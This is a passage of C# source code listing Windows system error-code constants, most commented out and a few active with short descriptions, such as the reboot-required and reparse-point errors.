ERROR_HOOK_NEEDS_HMOD = 1428; //public const uint ERROR_GLOBAL_ONLY_HOOK = 1429; //public const uint ERROR_JOURNAL_HOOK_SET = 1430; //public const uint ERROR_HOOK_NOT_INSTALLED = 1431; //public const uint ERROR_INVALID_LB_MESSAGE = 1432; //public const uint ERROR_SETCOUNT_ON_BAD_LB = 1433; //public const uint ERROR_LB_WITHOUT_TABSTOPS = 1434; //public const uint ERROR_DESTROY_OBJECT_OF_OTHER_THREAD = 1435; //public const uint ERROR_CHILD_WINDOW_MENU = 1436; //public const uint ERROR_NO_SYSTEM_MENU = 1437; //public const uint ERROR_INVALID_MSGBOX_STYLE = 1438; //public const uint ERROR_INVALID_SPI_VALUE = 1439; //public const uint ERROR_SCREEN_ALREADY_LOCKED = 1440; //public const uint ERROR_HWNDS_HAVE_DIFF_PARENT = 1441; //public const uint ERROR_NOT_CHILD_WINDOW = 1442; //public const uint ERROR_INVALID_GW_COMMAND = 1443; //public const uint ERROR_INVALID_THREAD_ID = 1444; //public const uint ERROR_NON_MDICHILD_WINDOW = 1445; //public const uint ERROR_POPUP_ALREADY_ACTIVE = 1446; //public const uint ERROR_NO_SCROLLBARS = 1447; //public const uint ERROR_INVALID_SCROLLBAR_RANGE = 1448; //public const uint ERROR_INVALID_SHOWWIN_COMMAND = 1449; //public const uint ERROR_NO_SYSTEM_RESOURCES = 1450; //public const uint ERROR_NONPAGED_SYSTEM_RESOURCES = 1451; //public const uint ERROR_PAGED_SYSTEM_RESOURCES = 1452; //public const uint ERROR_WORKING_SET_QUOTA = 1453; //public const uint ERROR_PAGEFILE_QUOTA = 1454; //public const uint ERROR_COMMITMENT_LIMIT = 1455; //public const uint ERROR_MENU_ITEM_NOT_FOUND = 1456; //public const uint ERROR_INVALID_KEYBOARD_HANDLE = 1457; //public const uint ERROR_HOOK_TYPE_NOT_ALLOWED = 1458; //public const uint ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION = 1459; //public const uint ERROR_TIMEOUT = 1460; //public const uint ERROR_INVALID_MONITOR_HANDLE = 1461; //public const uint ERROR_INCORRECT_SIZE = 1462; //public const uint ERROR_EVENTLOG_FILE_CORRUPT = 1500; //public const uint ERROR_EVENTLOG_CANT_START = 1501; //public const uint ERROR_LOG_FILE_FULL = 1502; //public const uint ERROR_EVENTLOG_FILE_CHANGED = 1503; //public const uint ERROR_INSTALL_SERVICE_FAILURE = 1601; //public const uint ERROR_INSTALL_USEREXIT = 1602; //public const uint ERROR_INSTALL_FAILURE = 1603; //public const uint ERROR_INSTALL_SUSPEND = 1604; //public const uint ERROR_UNKNOWN_PRODUCT = 1605; //public const uint ERROR_UNKNOWN_FEATURE = 1606; //public const uint ERROR_UNKNOWN_COMPONENT = 1607; //public const uint ERROR_UNKNOWN_PROPERTY = 1608; //public const uint ERROR_INVALID_HANDLE_STATE = 1609; //public const uint ERROR_BAD_CONFIGURATION = 1610; //public const uint ERROR_INDEX_ABSENT = 1611; //public const uint ERROR_INSTALL_SOURCE_ABSENT = 1612; //public const uint ERROR_INSTALL_PACKAGE_VERSION = 1613; //public const uint ERROR_PRODUCT_UNINSTALLED = 1614; //public const uint ERROR_BAD_QUERY_SYNTAX = 1615; //public const uint ERROR_INVALID_FIELD = 1616; //public const uint ERROR_DEVICE_REMOVED = 1617; //public const uint ERROR_INSTALL_ALREADY_RUNNING = 1618; //public const uint ERROR_INSTALL_PACKAGE_OPEN_FAILED = 1619; //public const uint ERROR_INSTALL_PACKAGE_INVALID = 1620; //public const uint ERROR_INSTALL_UI_FAILURE = 1621; //public const uint ERROR_INSTALL_LOG_FAILURE = 1622; //public const uint ERROR_INSTALL_LANGUAGE_UNSUPPORTED = 1623; //public const uint ERROR_INSTALL_TRANSFORM_FAILURE = 1624; //public const uint ERROR_INSTALL_PACKAGE_REJECTED = 1625; //public const uint ERROR_FUNCTION_NOT_CALLED = 1626; //public const uint ERROR_FUNCTION_FAILED = 1627; //public const uint ERROR_INVALID_TABLE = 1628; //public const uint ERROR_DATATYPE_MISMATCH = 1629; //public const uint ERROR_UNSUPPORTED_TYPE = 1630; //public const uint ERROR_CREATE_FAILED = 1631; //public const uint ERROR_INSTALL_TEMP_UNWRITABLE = 1632; //public const uint ERROR_INSTALL_PLATFORM_UNSUPPORTED = 1633; //public const uint ERROR_INSTALL_NOTUSED = 1634; //public const uint ERROR_PATCH_PACKAGE_OPEN_FAILED = 1635; //public const uint ERROR_PATCH_PACKAGE_INVALID = 1636; //public const uint ERROR_PATCH_PACKAGE_UNSUPPORTED = 1637; //public const uint ERROR_PRODUCT_VERSION = 1638; //public const uint ERROR_INVALID_COMMAND_LINE = 1639; //public const uint ERROR_INSTALL_REMOTE_DISALLOWED = 1640; /// (1641) The requested operation completed successfully. /// The system will be restarted so the changes can take effect. /// public const uint ERROR_SUCCESS_REBOOT_INITIATED = 1641; //public const uint ERROR_PATCH_TARGET_NOT_FOUND = 1642; //public const uint ERROR_PATCH_PACKAGE_REJECTED = 1643; //public const uint ERROR_INSTALL_TRANSFORM_REJECTED = 1644; //public const uint ERROR_INSTALL_REMOTE_PROHIBITED = 1645; //public const uint RPC_S_INVALID_STRING_BINDING = 1700; //public const uint RPC_S_WRONG_KIND_OF_BINDING = 1701; //public const uint RPC_S_INVALID_BINDING = 1702; //public const uint RPC_S_PROTSEQ_NOT_SUPPORTED = 1703; //public const uint RPC_S_INVALID_RPC_PROTSEQ = 1704; //public const uint RPC_S_INVALID_STRING_UUID = 1705; //public const uint RPC_S_INVALID_ENDPOINT_FORMAT = 1706; //public const uint RPC_S_INVALID_NET_ADDR = 1707; //public const uint RPC_S_NO_ENDPOINT_FOUND = 1708; //public const uint RPC_S_INVALID_TIMEOUT = 1709; //public const uint RPC_S_OBJECT_NOT_FOUND = 1710; //public const uint RPC_S_ALREADY_REGISTERED = 1711; //public const uint RPC_S_TYPE_ALREADY_REGISTERED = 1712; //public const uint RPC_S_ALREADY_LISTENING = 1713; //public const uint RPC_S_NO_PROTSEQS_REGISTERED = 1714; //public const uint RPC_S_NOT_LISTENING = 1715; //public const uint RPC_S_UNKNOWN_MGR_TYPE = 1716; //public const uint RPC_S_UNKNOWN_IF = 1717; //public const uint RPC_S_NO_BINDINGS = 1718; //public const uint RPC_S_NO_PROTSEQS = 1719; //public const uint RPC_S_CANT_CREATE_ENDPOINT = 1720; //public const uint RPC_S_OUT_OF_RESOURCES = 1721; //public const uint RPC_S_SERVER_UNAVAILABLE = 1722; //public const uint RPC_S_SERVER_TOO_BUSY = 1723; //public const uint RPC_S_INVALID_NETWORK_OPTIONS = 1724; //public const uint RPC_S_NO_CALL_ACTIVE = 1725; //public const uint RPC_S_CALL_FAILED = 1726; //public const uint RPC_S_CALL_FAILED_DNE = 1727; //public const uint RPC_S_PROTOCOL_ERROR = 1728; //public const uint RPC_S_UNSUPPORTED_TRANS_SYN = 1730; //public const uint RPC_S_UNSUPPORTED_TYPE = 1732; //public const uint RPC_S_INVALID_TAG = 1733; //public const uint RPC_S_INVALID_BOUND = 1734; //public const uint RPC_S_NO_ENTRY_NAME = 1735; //public const uint RPC_S_INVALID_NAME_SYNTAX = 1736; //public const uint RPC_S_UNSUPPORTED_NAME_SYNTAX = 1737; //public const uint RPC_S_UUID_NO_ADDRESS = 1739; //public const uint RPC_S_DUPLICATE_ENDPOINT = 1740; //public const uint RPC_S_UNKNOWN_AUTHN_TYPE = 1741; //public const uint RPC_S_MAX_CALLS_TOO_SMALL = 1742; //public const uint RPC_S_STRING_TOO_LONG = 1743; //public const uint RPC_S_PROTSEQ_NOT_FOUND = 1744; //public const uint RPC_S_PROCNUM_OUT_OF_RANGE = 1745; //public const uint RPC_S_BINDING_HAS_NO_AUTH = 1746; //public const uint RPC_S_UNKNOWN_AUTHN_SERVICE = 1747; //public const uint RPC_S_UNKNOWN_AUTHN_LEVEL = 1748; //public const uint RPC_S_INVALID_AUTH_IDENTITY = 1749; //public const uint RPC_S_UNKNOWN_AUTHZ_SERVICE = 1750; //public const uint EPT_S_INVALID_ENTRY = 1751; //public const uint EPT_S_CANT_PERFORM_OP = 1752; //public const uint EPT_S_NOT_REGISTERED = 1753; //public const uint RPC_S_NOTHING_TO_EXPORT = 1754; //public const uint RPC_S_INCOMPLETE_NAME = 1755; //public const uint RPC_S_INVALID_VERS_OPTION = 1756; //public const uint RPC_S_NO_MORE_MEMBERS = 1757; //public const uint RPC_S_NOT_ALL_OBJS_UNEXPORTED = 1758; //public const uint RPC_S_INTERFACE_NOT_FOUND = 1759; //public const uint RPC_S_ENTRY_ALREADY_EXISTS = 1760; //public const uint RPC_S_ENTRY_NOT_FOUND = 1761; //public const uint RPC_S_NAME_SERVICE_UNAVAILABLE = 1762; //public const uint RPC_S_INVALID_NAF_ID = 1763; //public const uint RPC_S_CANNOT_SUPPORT = 1764; //public const uint RPC_S_NO_CONTEXT_AVAILABLE = 1765; //public const uint RPC_S_INTERNAL_ERROR = 1766; //public const uint RPC_S_ZERO_DIVIDE = 1767; //public const uint RPC_S_ADDRESS_ERROR = 1768; //public const uint RPC_S_FP_DIV_ZERO = 1769; //public const uint RPC_S_FP_UNDERFLOW = 1770; //public const uint RPC_S_FP_OVERFLOW = 1771; //public const uint RPC_X_NO_MORE_ENTRIES = 1772; //public const uint RPC_X_SS_CHAR_TRANS_OPEN_FAIL = 1773; //public const uint RPC_X_SS_CHAR_TRANS_SHORT_FILE = 1774; //public const uint RPC_X_SS_IN_NULL_CONTEXT = 1775; //public const uint RPC_X_SS_CONTEXT_DAMAGED = 1777; //public const uint RPC_X_SS_HANDLES_MISMATCH = 1778; //public const uint RPC_X_SS_CANNOT_GET_CALL_HANDLE = 1779; //public const uint RPC_X_NULL_REF_POINTER = 1780; //public const uint RPC_X_ENUM_VALUE_OUT_OF_RANGE = 1781; //public const uint RPC_X_BYTE_COUNT_TOO_SMALL = 1782; /// (1783) The stub received bad data. public const uint RPC_X_BAD_STUB_DATA = 1783; //public const uint ERROR_INVALID_USER_BUFFER = 1784; //public const uint ERROR_UNRECOGNIZED_MEDIA = 1785; //public const uint ERROR_NO_TRUST_LSA_SECRET = 1786; //public const uint ERROR_NO_TRUST_SAM_ACCOUNT = 1787; //public const uint ERROR_TRUSTED_DOMAIN_FAILURE = 1788; //public const uint ERROR_TRUSTED_RELATIONSHIP_FAILURE = 1789; //public const uint ERROR_TRUST_FAILURE = 1790; //public const uint RPC_S_CALL_IN_PROGRESS = 1791; //public const uint ERROR_NETLOGON_NOT_STARTED = 1792; //public const uint ERROR_ACCOUNT_EXPIRED = 1793; //public const uint ERROR_REDIRECTOR_HAS_OPEN_HANDLES = 1794; //public const uint ERROR_PRINTER_DRIVER_ALREADY_INSTALLED = 1795; //public const uint ERROR_UNKNOWN_PORT = 1796; //public const uint ERROR_UNKNOWN_PRINTER_DRIVER = 1797; //public const uint ERROR_UNKNOWN_PRINTPROCESSOR = 1798; //public const uint ERROR_INVALID_SEPARATOR_FILE = 1799; //public const uint ERROR_INVALID_PRIORITY = 1800; //public const uint ERROR_INVALID_PRINTER_NAME = 1801; //public const uint ERROR_PRINTER_ALREADY_EXISTS = 1802; //public const uint ERROR_INVALID_PRINTER_COMMAND = 1803; //public const uint ERROR_INVALID_DATATYPE = 1804; //public const uint ERROR_INVALID_ENVIRONMENT = 1805; //public const uint RPC_S_NO_MORE_BINDINGS = 1806; //public const uint ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT = 1807; //public const uint ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT = 1808; //public const uint ERROR_NOLOGON_SERVER_TRUST_ACCOUNT = 1809; //public const uint ERROR_DOMAIN_TRUST_INCONSISTENT = 1810; //public const uint ERROR_SERVER_HAS_OPEN_HANDLES = 1811; //public const uint ERROR_RESOURCE_DATA_NOT_FOUND = 1812; //public const uint ERROR_RESOURCE_TYPE_NOT_FOUND = 1813; //public const uint ERROR_RESOURCE_NAME_NOT_FOUND = 1814; //public const uint ERROR_RESOURCE_LANG_NOT_FOUND = 1815; //public const uint ERROR_NOT_ENOUGH_QUOTA = 1816; //public const uint RPC_S_NO_INTERFACES = 1817; //public const uint RPC_S_CALL_CANCELLED = 1818; //public const uint RPC_S_BINDING_INCOMPLETE = 1819; //public const uint RPC_S_COMM_FAILURE = 1820; //public const uint RPC_S_UNSUPPORTED_AUTHN_LEVEL = 1821; //public const uint RPC_S_NO_PRINC_NAME = 1822; //public const uint RPC_S_NOT_RPC_ERROR = 1823; //public const uint RPC_S_UUID_LOCAL_ONLY = 1824; //public const uint RPC_S_SEC_PKG_ERROR = 1825; //public const uint RPC_S_NOT_CANCELLED = 1826; //public const uint RPC_X_INVALID_ES_ACTION = 1827; //public const uint RPC_X_WRONG_ES_VERSION = 1828; //public const uint RPC_X_WRONG_STUB_VERSION = 1829; //public const uint RPC_X_INVALID_PIPE_OBJECT = 1830; //public const uint RPC_X_WRONG_PIPE_ORDER = 1831; //public const uint RPC_X_WRONG_PIPE_VERSION = 1832; //public const uint RPC_S_GROUP_MEMBER_NOT_FOUND = 1898; //public const uint EPT_S_CANT_CREATE = 1899; //public const uint RPC_S_INVALID_OBJECT = 1900; //public const uint ERROR_INVALID_TIME = 1901; //public const uint ERROR_INVALID_FORM_NAME = 1902; //public const uint ERROR_INVALID_FORM_SIZE = 1903; //public const uint ERROR_ALREADY_WAITING = 1904; //public const uint ERROR_PRINTER_DELETED = 1905; //public const uint ERROR_INVALID_PRINTER_STATE = 1906; //public const uint ERROR_PASSWORD_MUST_CHANGE = 1907; //public const uint ERROR_DOMAIN_CONTROLLER_NOT_FOUND = 1908; //public const uint ERROR_ACCOUNT_LOCKED_OUT = 1909; //public const uint OR_INVALID_OXID = 1910; //public const uint OR_INVALID_OID = 1911; //public const uint OR_INVALID_SET = 1912; //public const uint RPC_S_SEND_INCOMPLETE = 1913; //public const uint RPC_S_INVALID_ASYNC_HANDLE = 1914; //public const uint RPC_S_INVALID_ASYNC_CALL = 1915; //public const uint RPC_X_PIPE_CLOSED = 1916; //public const uint RPC_X_PIPE_DISCIPLINE_ERROR = 1917; //public const uint RPC_X_PIPE_EMPTY = 1918; //public const uint ERROR_NO_SITENAME = 1919; //public const uint ERROR_CANT_ACCESS_FILE = 1920; //public const uint ERROR_CANT_RESOLVE_FILENAME = 1921; //public const uint RPC_S_ENTRY_TYPE_MISMATCH = 1922; //public const uint RPC_S_NOT_ALL_OBJS_EXPORTED = 1923; //public const uint RPC_S_INTERFACE_NOT_EXPORTED = 1924; //public const uint RPC_S_PROFILE_NOT_ADDED = 1925; //public const uint RPC_S_PRF_ELT_NOT_ADDED = 1926; //public const uint RPC_S_PRF_ELT_NOT_REMOVED = 1927; //public const uint RPC_S_GRP_ELT_NOT_ADDED = 1928; //public const uint RPC_S_GRP_ELT_NOT_REMOVED = 1929; //public const uint ERROR_KM_DRIVER_BLOCKED = 1930; //public const uint ERROR_CONTEXT_EXPIRED = 1931; //public const uint ERROR_PER_USER_TRUST_QUOTA_EXCEEDED = 1932; //public const uint ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED = 1933; //public const uint ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED = 1934; //public const uint ERROR_AUTHENTICATION_FIREWALL_FAILED = 1935; //public const uint ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED = 1936; //public const uint ERROR_INVALID_PIXEL_FORMAT = 2000; //public const uint ERROR_BAD_DRIVER = 2001; //public const uint ERROR_INVALID_WINDOW_STYLE = 2002; //public const uint ERROR_METAFILE_NOT_SUPPORTED = 2003; //public const uint ERROR_TRANSFORM_NOT_SUPPORTED = 2004; //public const uint ERROR_CLIPPING_NOT_SUPPORTED = 2005; //public const uint ERROR_INVALID_CMM = 2010; //public const uint ERROR_INVALID_PROFILE = 2011; //public const uint ERROR_TAG_NOT_FOUND = 2012; //public const uint ERROR_TAG_NOT_PRESENT = 2013; //public const uint ERROR_DUPLICATE_TAG = 2014; //public const uint ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE = 2015; //public const uint ERROR_PROFILE_NOT_FOUND = 2016; //public const uint ERROR_INVALID_COLORSPACE = 2017; //public const uint ERROR_ICM_NOT_ENABLED = 2018; //public const uint ERROR_DELETING_ICM_XFORM = 2019; //public const uint ERROR_INVALID_TRANSFORM = 2020; //public const uint ERROR_COLORSPACE_MISMATCH = 2021; //public const uint ERROR_INVALID_COLORINDEX = 2022; //public const uint ERROR_CONNECTED_OTHER_PASSWORD = 2108; //public const uint ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT = 2109; //public const uint ERROR_UNKNOWN_PRINT_MONITOR = 3000; //public const uint ERROR_PRINTER_DRIVER_IN_USE = 3001; //public const uint ERROR_SPOOL_FILE_NOT_FOUND = 3002; //public const uint ERROR_SPL_NO_STARTDOC = 3003; //public const uint ERROR_SPL_NO_ADDJOB = 3004; //public const uint ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED = 3005; //public const uint ERROR_PRINT_MONITOR_ALREADY_INSTALLED = 3006; //public const uint ERROR_INVALID_PRINT_MONITOR = 3007; //public const uint ERROR_PRINT_MONITOR_IN_USE = 3008; //public const uint ERROR_PRINTER_HAS_JOBS_QUEUED = 3009; /// (3010) The requested operation is successful. /// Changes will not be effective until the system is rebooted. /// public const uint ERROR_SUCCESS_REBOOT_REQUIRED = 3010; /// (3011) The requested operation is successful. /// Changes will not be effective until the service is restarted. /// public const uint ERROR_SUCCESS_RESTART_REQUIRED = 3011; //public const uint ERROR_PRINTER_NOT_FOUND = 3012; //public const uint ERROR_PRINTER_DRIVER_WARNED = 3013; //public const uint ERROR_PRINTER_DRIVER_BLOCKED = 3014; //public const uint ERROR_WINS_INTERNAL = 4000; //public const uint ERROR_CAN_NOT_DEL_LOCAL_WINS = 4001; //public const uint ERROR_STATIC_INIT = 4002; //public const uint ERROR_INC_BACKUP = 4003; //public const uint ERROR_FULL_BACKUP = 4004; //public const uint ERROR_REC_NON_EXISTENT = 4005; //public const uint ERROR_RPL_NOT_ALLOWED = 4006; //public const uint ERROR_DHCP_ADDRESS_CONFLICT = 4100; //public const uint ERROR_WMI_GUID_NOT_FOUND = 4200; //public const uint ERROR_WMI_INSTANCE_NOT_FOUND = 4201; //public const uint ERROR_WMI_ITEMID_NOT_FOUND = 4202; //public const uint ERROR_WMI_TRY_AGAIN = 4203; //public const uint ERROR_WMI_DP_NOT_FOUND = 4204; //public const uint ERROR_WMI_UNRESOLVED_INSTANCE_REF = 4205; //public const uint ERROR_WMI_ALREADY_ENABLED = 4206; //public const uint ERROR_WMI_GUID_DISCONNECTED = 4207; //public const uint ERROR_WMI_SERVER_UNAVAILABLE = 4208; //public const uint ERROR_WMI_DP_FAILED = 4209; //public const uint ERROR_WMI_INVALID_MOF = 4210; //public const uint ERROR_WMI_INVALID_REGINFO = 4211; //public const uint ERROR_WMI_ALREADY_DISABLED = 4212; //public const uint ERROR_WMI_READ_ONLY = 4213; //public const uint ERROR_WMI_SET_FAILURE = 4214; //public const uint ERROR_INVALID_MEDIA = 4300; //public const uint ERROR_INVALID_LIBRARY = 4301; //public const uint ERROR_INVALID_MEDIA_POOL = 4302; //public const uint ERROR_DRIVE_MEDIA_MISMATCH = 4303; //public const uint ERROR_MEDIA_OFFLINE = 4304; //public const uint ERROR_LIBRARY_OFFLINE = 4305; //public const uint ERROR_EMPTY = 4306; //public const uint ERROR_NOT_EMPTY = 4307; //public const uint ERROR_MEDIA_UNAVAILABLE = 4308; //public const uint ERROR_RESOURCE_DISABLED = 4309; //public const uint ERROR_INVALID_CLEANER = 4310; //public const uint ERROR_UNABLE_TO_CLEAN = 4311; //public const uint ERROR_OBJECT_NOT_FOUND = 4312; //public const uint ERROR_DATABASE_FAILURE = 4313; //public const uint ERROR_DATABASE_FULL = 4314; //public const uint ERROR_MEDIA_INCOMPATIBLE = 4315; //public const uint ERROR_RESOURCE_NOT_PRESENT = 4316; //public const uint ERROR_INVALID_OPERATION = 4317; //public const uint ERROR_MEDIA_NOT_AVAILABLE = 4318; //public const uint ERROR_DEVICE_NOT_AVAILABLE = 4319; //public const uint ERROR_REQUEST_REFUSED = 4320; //public const uint ERROR_INVALID_DRIVE_OBJECT = 4321; //public const uint ERROR_LIBRARY_FULL = 4322; //public const uint ERROR_MEDIUM_NOT_ACCESSIBLE = 4323; //public const uint ERROR_UNABLE_TO_LOAD_MEDIUM = 4324; //public const uint ERROR_UNABLE_TO_INVENTORY_DRIVE = 4325; //public const uint ERROR_UNABLE_TO_INVENTORY_SLOT = 4326; //public const uint ERROR_UNABLE_TO_INVENTORY_TRANSPORT = 4327; //public const uint ERROR_TRANSPORT_FULL = 4328; //public const uint ERROR_CONTROLLING_IEPORT = 4329; //public const uint ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA = 4330; //public const uint ERROR_CLEANER_SLOT_SET = 4331; //public const uint ERROR_CLEANER_SLOT_NOT_SET = 4332; //public const uint ERROR_CLEANER_CARTRIDGE_SPENT = 4333; //public const uint ERROR_UNEXPECTED_OMID = 4334; //public const uint ERROR_CANT_DELETE_LAST_ITEM = 4335; //public const uint ERROR_MESSAGE_EXCEEDS_MAX_SIZE = 4336; //public const uint ERROR_VOLUME_CONTAINS_SYS_FILES = 4337; //public const uint ERROR_INDIGENOUS_TYPE = 4338; //public const uint ERROR_NO_SUPPORTING_DRIVES = 4339; //public const uint ERROR_CLEANER_CARTRIDGE_INSTALLED = 4340; //public const uint ERROR_IEPORT_FULL = 4341; //public const uint ERROR_FILE_OFFLINE = 4350; //public const uint ERROR_REMOTE_STORAGE_NOT_ACTIVE = 4351; //public const uint ERROR_REMOTE_STORAGE_MEDIA_ERROR = 4352; /// (4390) The file or directory is not a reparse point. public const uint ERROR_NOT_A_REPARSE_POINT = 4390; //public const uint ERROR_REPARSE_ATTRIBUTE_CONFLICT = 4391; /// The data present in the reparse point buffer is invalid. public const uint ERROR_INVALID_REPARSE_DATA = 4392; //public const uint ERROR_REPARSE_TAG_INVALID = 4393; //public const uint ERROR_REPARSE_TAG_MISMATCH = 4394; //public const uint ERROR_VOLUME_NOT_SIS_ENABLED = 4500; //public const uint ERROR_DEPENDENT_RESOURCE_EXISTS = 5001; //public const uint ERROR_DEPENDENCY_NOT_FOUND = 5002; //public const uint ERROR_DEPENDENCY_ALREADY_EXISTS = 5003; //public const uint ERROR_RESOURCE_NOT_ONLINE = 5004; //public const uint ERROR_HOST_NODE_NOT_AVAILABLE = 5005; //public const uint ERROR_RESOURCE_NOT_AVAILABLE = 5006; //public const uint ERROR_RESOURCE_NOT_FOUND = 5007; //public const uint ERROR_SHUTDOWN_CLUSTER = 5008; //public const uint ERROR_CANT_EVICT_ACTIVE_NODE = 5009; //public const uint ERROR_OBJECT_ALREADY_EXISTS = 5010; //public const uint ERROR_OBJECT_IN_LIST = 5011; //public const uint ERROR_GROUP_NOT_AVAILABLE = 5012; //public const uint ERROR_GROUP_NOT_FOUND = 5013; //public const uint ERROR_GROUP_NOT_ONLINE = 5014; //public const uint ERROR_HOST_NODE_NOT_RESOURCE_OWNER = 5015; //public const uint ERROR_HOST_NODE_NOT_GROUP_OWNER = 5016; //public const uint ERROR_RESMON_CREATE_FAILED = 5017; //public const uint ERROR_RESMON_ONLINE_FAILED = 5018; //public const uint ERROR_RESOURCE_ONLINE = 5019; //public const uint ERROR_QUORUM_RESOURCE = 5020; //public const uint ERROR_NOT_QUORUM_CAPABLE = 5021; //public const uint ERROR_CLUSTER_SHUTTING_DOWN = 5022; //public const uint ERROR_INVALID_STATE = 5023; //public const uint ERROR_RESOURCE_PROPERTIES_STORED = 5024; //public const uint ERROR_NOT_QUORUM_CLASS = 5025; //public const uint ERROR_CORE_RESOURCE = 5026; //public const uint ERROR_QUORUM_RESOURCE_ONLINE_FAILED = 5027; //public const uint ERROR_QUORUMLOG_OPEN_FAILED = 5028; //public const uint ERROR_CLUSTERLOG_CORRUPT = 5029; //public const uint ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE = 5030; //public const uint ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE = 5031; //public const uint ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND = 5032; //public const uint ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE = 5033; //public const uint ERROR_QUORUM_OWNER_ALIVE = 5034; //public const uint ERROR_NETWORK_NOT_AVAILABLE = 5035; //public const uint ERROR_NODE_NOT_AVAILABLE = 5036; //public const uint ERROR_ALL_NODES_NOT_AVAILABLE = 5037; //public const uint ERROR_RESOURCE_FAILED = 5038; //public const uint ERROR_CLUSTER_INVALID_NODE = 5039; //public const uint ERROR_CLUSTER_NODE_EXISTS = 5040; //public const uint ERROR_CLUSTER_JOIN_IN_PROGRESS = 5041; //public const uint ERROR_CLUSTER_NODE_NOT_FOUND = 5042; //public const uint ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND = 5043; //public const uint ERROR_CLUSTER_NETWORK_EXISTS = 5044; //public const uint ERROR_CLUSTER_NETWORK_NOT_FOUND = 5045; //public const uint ERROR_CLUSTER_NETINTERFACE_EXISTS = 5046; //public const uint ERROR_CLUSTER_NETINTERFACE_NOT_FOUND = 5047; //public const uint ERROR_CLUSTER_INVALID_REQUEST = 5048; //public const uint ERROR_CLUSTER_INVALID_NETWORK_PROVIDER = 5049; //public const uint ERROR_CLUSTER_NODE_DOWN = 5050; //public const uint ERROR_CLUSTER_NODE_UNREACHABLE = 5051; //public const uint ERROR_CLUSTER_NODE_NOT_MEMBER = 5052; //public const uint ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS = 5053; //public const uint ERROR_CLUSTER_INVALID_NETWORK = 5054; //public const uint ERROR_CLUSTER_NODE_UP = 5056; //public const uint ERROR_CLUSTER_IPADDR_IN_USE = 5057; //public const uint ERROR_CLUSTER_NODE_NOT_PAUSED = 5058; //public const uint ERROR_CLUSTER_NO_SECURITY_CONTEXT = 5059; //public const uint ERROR_CLUSTER_NETWORK_NOT_INTERNAL = 5060; //public const uint ERROR_CLUSTER_NODE_ALREADY_UP = 5061; //public const uint ERROR_CLUSTER_NODE_ALREADY_DOWN = 5062; //public const uint ERROR_CLUSTER_NETWORK_ALREADY_ONLINE = 5063; //public const uint ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE = 5064; //public const uint ERROR_CLUSTER_NODE_ALREADY_MEMBER = 5065; //public const uint ERROR_CLUSTER_LAST_INTERNAL_NETWORK = 5066; //public const uint ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS = 5067; //public const uint ERROR_INVALID_OPERATION_ON_QUORUM = 5068; //public const uint ERROR_DEPENDENCY_NOT_ALLOWED = 5069; //public const uint ERROR_CLUSTER_NODE_PAUSED = 5070; //public const uint ERROR_NODE_CANT_HOST_RESOURCE = 5071; //public const uint ERROR_CLUSTER_NODE_NOT_READY = 5072; //public const uint ERROR_CLUSTER_NODE_SHUTTING_DOWN = 5073; //public const uint ERROR_CLUSTER_JOIN_ABORTED = 5074; //public const uint ERROR_CLUSTER_INCOMPATIBLE_VERSIONS = 5075; //public const uint ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED = 5076; //public const uint ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED = 5077; //public const uint ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND = 5078; //public const uint ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED = 5079; //public const uint ERROR_CLUSTER_RESNAME_NOT_FOUND = 5080; //public const uint ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED = 5081; //public const uint ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST = 5082; //public const uint ERROR_CLUSTER_DATABASE_SEQMISMATCH = 5083; //public const uint ERROR_RESMON_INVALID_STATE = 5084; //public const uint ERROR_CLUSTER_GUM_NOT_LOCKER = 5085; //public const uint ERROR_QUORUM_DISK_NOT_FOUND = 5086; //public const uint ERROR_DATABASE_BACKUP_CORRUPT = 5087; //public const uint ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT = 5088; //public const uint ERROR_RESOURCE_PROPERTY_UNCHANGEABLE = 5089; //public const uint ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE = 5890; //public const uint ERROR_CLUSTER_QUORUMLOG_NOT_FOUND = 5891; //public const uint ERROR_CLUSTER_MEMBERSHIP_HALT = 5892; //public const uint ERROR_CLUSTER_INSTANCE_ID_MISMATCH = 5893; //public const uint ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP = 5894; //public const uint ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH = 5895; //public const uint ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP = 5896; //public const uint ERROR_CLUSTER_PARAMETER_MISMATCH = 5897; //public const uint ERROR_NODE_CANNOT_BE_CLUSTERED = 5898; //public const uint ERROR_CLUSTER_WRONG_OS_VERSION = 5899; //public const uint ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME = 5900; //public const uint ERROR_CLUSCFG_ALREADY_COMMITTED = 5901; //public const uint ERROR_CLUSCFG_ROLLBACK_FAILED = 5902; //public const uint ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT = 5903; //public const uint ERROR_CLUSTER_OLD_VERSION = 5904; //public const uint ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME = 5905; //public const uint ERROR_ENCRYPTION_FAILED = 6000; //public const uint ERROR_DECRYPTION_FAILED = 6001; //public const uint ERROR_FILE_ENCRYPTED = 6002; //public const uint ERROR_NO_RECOVERY_POLICY = 6003; //public const uint ERROR_NO_EFS = 6004; //public const uint ERROR_WRONG_EFS = 6005; //public const uint ERROR_NO_USER_KEYS = 6006; //public const uint 